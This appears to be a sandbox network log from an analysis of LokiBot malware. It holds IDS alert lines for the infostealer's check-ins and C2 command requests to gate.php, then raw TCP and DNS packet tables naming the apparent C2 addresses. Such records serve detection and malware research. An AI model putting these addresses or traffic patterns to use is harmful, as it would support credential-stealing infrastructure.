12/21/20-08:34:59.709544	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49337	80	192.168.2.22	185.193.143.118
12/21/20-08:34:59.901984	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49337	185.193.143.118	192.168.2.22
12/21/20-08:35:00.160897	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49338	80	192.168.2.22	185.193.143.118
12/21/20-08:35:00.160897	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49338	80	192.168.2.22	185.193.143.118
12/21/20-08:35:00.160897	TCP	2025381	ET TROJAN LokiBot Checkin	49338	80	192.168.2.22	185.193.143.118
12/21/20-08:35:00.160897	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49338	80	192.168.2.22	185.193.143.118
12/21/20-08:35:00.160897	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49338	80	192.168.2.22	185.193.143.118
12/21/20-08:35:00.349518	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49338	185.193.143.118	192.168.2.22
12/21/20-08:35:00.610924	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49339	80	192.168.2.22	185.193.143.118
12/21/20-08:35:00.610924	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49339	80	192.168.2.22	185.193.143.118
12/21/20-08:35:00.610924	TCP	2025381	ET TROJAN LokiBot Checkin	49339	80	192.168.2.22	185.193.143.118
12/21/20-08:35:00.610924	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49339	80	192.168.2.22	185.193.143.118
12/21/20-08:35:00.610924	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49339	80	192.168.2.22	185.193.143.118
12/21/20-08:35:00.794681	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49339	185.193.143.118	192.168.2.22
12/21/20-08:35:01.047355	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49340	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.047355	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49340	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.047355	TCP	2025381	ET TROJAN LokiBot Checkin	49340	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.047355	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49340	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.047355	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49340	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.230404	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49340	185.193.143.118	192.168.2.22
12/21/20-08:35:01.481208	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49341	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.481208	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49341	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.481208	TCP	2025381	ET TROJAN LokiBot Checkin	49341	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.481208	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49341	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.481208	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49341	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.667487	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49341	185.193.143.118	192.168.2.22
12/21/20-08:35:01.938677	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49342	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.938677	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49342	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.938677	TCP	2025381	ET TROJAN LokiBot Checkin	49342	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.938677	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49342	80	192.168.2.22	185.193.143.118
12/21/20-08:35:01.938677	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49342	80	192.168.2.22	185.193.143.118
12/21/20-08:35:02.127677	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49342	185.193.143.118	192.168.2.22
12/21/20-08:35:02.388886	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49343	80	192.168.2.22	185.193.143.118
12/21/20-08:35:02.388886	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49343	80	192.168.2.22	185.193.143.118
12/21/20-08:35:02.388886	TCP	2025381	ET TROJAN LokiBot Checkin	49343	80	192.168.2.22	185.193.143.118
12/21/20-08:35:02.388886	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49343	80	192.168.2.22	185.193.143.118
12/21/20-08:35:02.388886	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49343	80	192.168.2.22	185.193.143.118
12/21/20-08:35:02.579013	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49343	185.193.143.118	192.168.2.22
12/21/20-08:35:02.836599	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49344	80	192.168.2.22	185.193.143.118
12/21/20-08:35:02.836599	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49344	80	192.168.2.22	185.193.143.118
12/21/20-08:35:02.836599	TCP	2025381	ET TROJAN LokiBot Checkin	49344	80	192.168.2.22	185.193.143.118
12/21/20-08:35:02.836599	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49344	80	192.168.2.22	185.193.143.118
12/21/20-08:35:02.836599	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49344	80	192.168.2.22	185.193.143.118
12/21/20-08:35:03.029088	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49344	185.193.143.118	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2020 08:33:20.198736906 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.406172037 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.406368971 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.406845093 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.617223978 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.617294073 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.617346048 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.617429018 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.617459059 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.617507935 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.617548943 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.824466944 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.824496984 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.824522972 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.824539900 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.824547052 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.824567080 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.824577093 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.824588060 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.824605942 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.824608088 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.824631929 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.824649096 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.824662924 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.824675083 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:20.824712038 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:20.824727058 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.031974077 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032004118 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032027960 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032048941 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032068968 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032089949 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032111883 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032129049 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032150030 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032159090 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.032170057 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032186031 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.032191038 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032210112 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032222033 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.032233000 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032255888 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032259941 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.032277107 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032288074 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.032298088 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.032319069 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.032346964 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.035811901 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240109921 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240147114 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240271091 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240298033 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240333080 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240340948 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240365028 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240386009 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240406036 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240411043 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240426064 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240441084 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240451097 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240468979 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240470886 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240483999 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240499020 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240511894 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240514040 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240529060 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240537882 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240545034 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240560055 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240569115 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240577936 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240595102 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240601063 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240613937 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240633011 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240636110 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240652084 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240659952 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240677118 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240685940 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240698099 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240712881 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240720034 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240741968 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240746021 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240767002 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240773916 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240791082 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240803003 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240812063 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240833044 CET	49167	80	192.168.2.22	103.141.138.119
Dec 21, 2020 08:33:21.240833998 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240855932 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240871906 CET	80	49167	103.141.138.119	192.168.2.22
Dec 21, 2020 08:33:21.240885973 CET	49167	80	192.168.2.22	103.141.138.119

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2020 08:33:20.079046011 CET	52197	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:20.141259909 CET	53	52197	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:20.141686916 CET	52197	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:20.181081057 CET	53	52197	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:31.913495064 CET	53099	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:32.245913982 CET	53	53099	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:32.661679029 CET	52838	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:33.027492046 CET	53	52838	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:33.384108067 CET	61200	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:33.416837931 CET	53	61200	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:33.879810095 CET	49548	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:33.912573099 CET	53	49548	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:34.362772942 CET	55627	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:34.397540092 CET	53	55627	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:34.881009102 CET	56009	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:34.913418055 CET	53	56009	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:35.359441996 CET	61865	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:35.392252922 CET	53	61865	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:35.837912083 CET	55171	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:35.873585939 CET	53	55171	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:36.313498974 CET	52496	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:36.346338034 CET	53	52496	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:36.808887959 CET	57564	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:36.841499090 CET	53	57564	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:37.314598083 CET	63009	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:37.347301960 CET	53	63009	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:37.787421942 CET	59319	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:37.822774887 CET	53	59319	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:38.269783974 CET	53070	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:38.302434921 CET	53	53070	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:38.743330002 CET	59770	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:38.776042938 CET	53	59770	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:39.221379995 CET	61523	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:39.253777027 CET	53	61523	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:39.711550951 CET	62791	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:39.744498014 CET	53	62791	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:40.202322006 CET	50667	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:40.229345083 CET	53	50667	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:40.652861118 CET	54129	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:40.677072048 CET	53	54129	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:41.115207911 CET	65329	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:41.149358988 CET	53	65329	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:41.607522011 CET	60718	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:41.640346050 CET	53	60718	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:42.085715055 CET	49157	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:42.118233919 CET	53	49157	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:42.570028067 CET	57391	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:42.603332043 CET	53	57391	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:43.024233103 CET	61858	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:43.056792021 CET	53	61858	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:43.507846117 CET	62500	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:43.542844057 CET	53	62500	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:43.990227938 CET	51652	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:44.025953054 CET	53	51652	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:44.476102114 CET	62762	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:44.500294924 CET	53	62762	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:44.947941065 CET	56905	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:44.982953072 CET	53	56905	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:45.426358938 CET	54609	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:45.462071896 CET	53	54609	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:45.893923044 CET	58101	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:45.929359913 CET	53	58101	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:46.404953957 CET	64329	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:46.440226078 CET	53	64329	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:46.857896090 CET	64881	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:46.882116079 CET	53	64881	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:47.341500998 CET	55327	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:47.365688086 CET	53	55327	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:47.811341047 CET	59150	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:47.838496923 CET	53	59150	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:48.293976068 CET	63439	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:48.329663038 CET	53	63439	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:48.764221907 CET	65040	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:48.799899101 CET	53	65040	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:49.248095989 CET	61369	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:49.272435904 CET	53	61369	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:49.738286972 CET	65515	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:49.773880959 CET	53	65515	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:50.200308084 CET	60236	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:50.234957933 CET	53	60236	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:50.703052044 CET	53198	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:50.727616072 CET	53	53198	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:51.166956902 CET	50027	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:51.199632883 CET	53	50027	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:51.634434938 CET	59245	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:51.661459923 CET	53	59245	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:52.106240034 CET	55840	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:52.138839960 CET	53	55840	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:52.575071096 CET	61667	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:52.608187914 CET	53	61667	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:53.053771019 CET	63736	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:53.089116096 CET	53	63736	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:53.521665096 CET	59805	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:53.545923948 CET	53	59805	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:54.004151106 CET	62322	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:54.028563023 CET	53	62322	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:54.463464975 CET	52819	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:54.495980978 CET	53	52819	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:54.918165922 CET	51215	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:54.950864077 CET	53	51215	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:55.372256041 CET	60312	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:55.396764994 CET	53	60312	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:57.806827068 CET	63463	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:58.138356924 CET	53	63463	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:58.565279007 CET	62224	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:58.600277901 CET	53	62224	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:59.039273977 CET	59064	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:59.074902058 CET	53	59064	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:59.513793945 CET	59885	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:59.538171053 CET	53	59885	8.8.8.8	192.168.2.22
Dec 21, 2020 08:33:59.963618994 CET	63749	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:33:59.999243975 CET	53	63749	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:00.431229115 CET	50878	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:00.458333969 CET	53	50878	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:00.894161940 CET	58469	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:00.927617073 CET	53	58469	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:01.345640898 CET	54773	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:01.370101929 CET	53	54773	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:01.786082029 CET	52166	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:01.813256025 CET	53	52166	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:02.207808971 CET	54589	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:02.234920025 CET	53	54589	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:02.980644941 CET	58113	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:03.016529083 CET	53	58113	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:03.739376068 CET	53533	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:03.763997078 CET	53	53533	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:04.201909065 CET	57696	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:04.226470947 CET	53	57696	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:04.632169008 CET	51068	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:04.662421942 CET	53	51068	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:05.084239006 CET	52944	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:05.116772890 CET	53	52944	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:05.539611101 CET	56190	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:05.564255953 CET	53	56190	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:05.976373911 CET	63877	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:06.008991003 CET	53	63877	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:06.425539017 CET	62299	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:06.452527046 CET	53	62299	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:06.876219988 CET	53239	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:06.900445938 CET	53	53239	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:07.333338022 CET	62320	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:07.365592957 CET	53	62320	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:07.783689976 CET	61507	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:07.810790062 CET	53	61507	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:08.236664057 CET	53940	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:08.260979891 CET	53	53940	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:08.676565886 CET	59089	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:08.709247112 CET	53	59089	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:09.131469011 CET	51739	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:09.166901112 CET	53	51739	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:09.589118958 CET	53552	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:09.613442898 CET	53	53552	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:10.046735048 CET	61135	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:10.082566023 CET	53	61135	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:10.515592098 CET	49357	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:10.540024042 CET	53	49357	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:10.950223923 CET	53451	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:10.974487066 CET	53	53451	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:11.411515951 CET	62183	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:11.435686111 CET	53	62183	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:11.841891050 CET	61653	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:11.866249084 CET	53	61653	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:12.305572033 CET	56509	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:12.342263937 CET	53	56509	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:12.768889904 CET	62179	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:12.793176889 CET	53	62179	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:13.222127914 CET	54721	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:14.232207060 CET	54721	53	192.168.2.22	8.8.8.8
Dec 21, 2020 08:34:15.224958897 CET	53	54721	8.8.8.8	192.168.2.22
Dec 21, 2020 08:34:15.630001068 CET	59549	53	192.168.2.22	8.8.8.8
